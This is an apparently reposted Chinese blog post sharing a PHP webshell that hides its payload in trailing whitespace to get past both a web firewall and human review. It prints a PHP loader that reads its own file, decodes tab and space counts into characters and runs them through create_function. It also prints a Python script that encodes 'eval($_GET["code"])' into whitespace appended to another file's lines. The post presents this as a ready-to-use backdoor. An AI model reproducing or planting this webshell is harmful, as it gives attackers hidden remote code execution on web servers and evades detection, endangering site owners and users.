一个过人的php小马

2019-07-29  本文已影响0人  折戟尘风

转自:
https://imbawenzi.github.io/2019/04/18/一个有趣的webshell---将代码隐藏在空白处/
分享一个小马,不但过狗还过人。
小马代码部分:

<?php
    class newDataProvider {
        function __construct() {
            $f = file(__FILE__);
            $r = "";
            $c = "";
            for($i = 0; $i < count($f); $i++) {
                if($i < 15){
                    $r .= $this->dataProcessor($f[$i]);
                } else {
                    $c .= $this->dataProcessor($f[$i]);
                }
            }
            $t = $r('',"$c");
            $t();
        }
        function dataProcessor($li) {
            preg_match('/([\t ]+)\r?\n?$/', $li, $m);
            if (isset($m[1])) {
                $l = dechex(substr_count($m[1], "\t"));
                $r = dechex(substr_count($m[1], " "));
                $n = hexdec($l.$r);
                return chr($n);
            }
            return "";
        }
    }
    new newDataProvider();
?>

可以重点关注dataProcessor这个函数,通过正则匹配文件每一行最后的/t或者空格数,并以这两个的计数的十六进制分别代表一位,来拼成一个ascii码。显然这些空格和/t的数量是我们可以自己写好的,这样我们就可以构造空格和/t的数量来构造一个小马或者其他恶意代码。转载的博主已经实现了,可以看看:

funcName = 'create_function'
code = 'eval($_GET["code"]);'
blank = funcName+code

fin = open('test.php','r')
fout = open('testOutput.php','w')
content = fin.readlines()

if len(content) < len(blank):
    for i in range(len(blank)-len(content)):
        content += ['\n']

for i in range(len(blank)):
    tensPlace = int(hex(ord(blank[i]))[2], 16)
    onesPlace = int(hex(ord(blank[i]))[3], 16)
    if content[i][-1] == '\n':
        content[i] = content[i][0:-1] + tensPlace*'\t' + onesPlace*' ' + '\n'
    else:
        content[i] = content[i] + tensPlace*'\t' + onesPlace*' ' + '\n'

for line in content:
    fout.write(line)

fin.close()
fout.close()

利用python脚本来实现从指定代码到空格和/t的添加。这样就在之前的那个文件里面构造了合适的空格和/t来表示恶意代码。生成新的文件便是我们最终的恶意文件了。


111
上一篇下一篇

猜你喜欢

热点阅读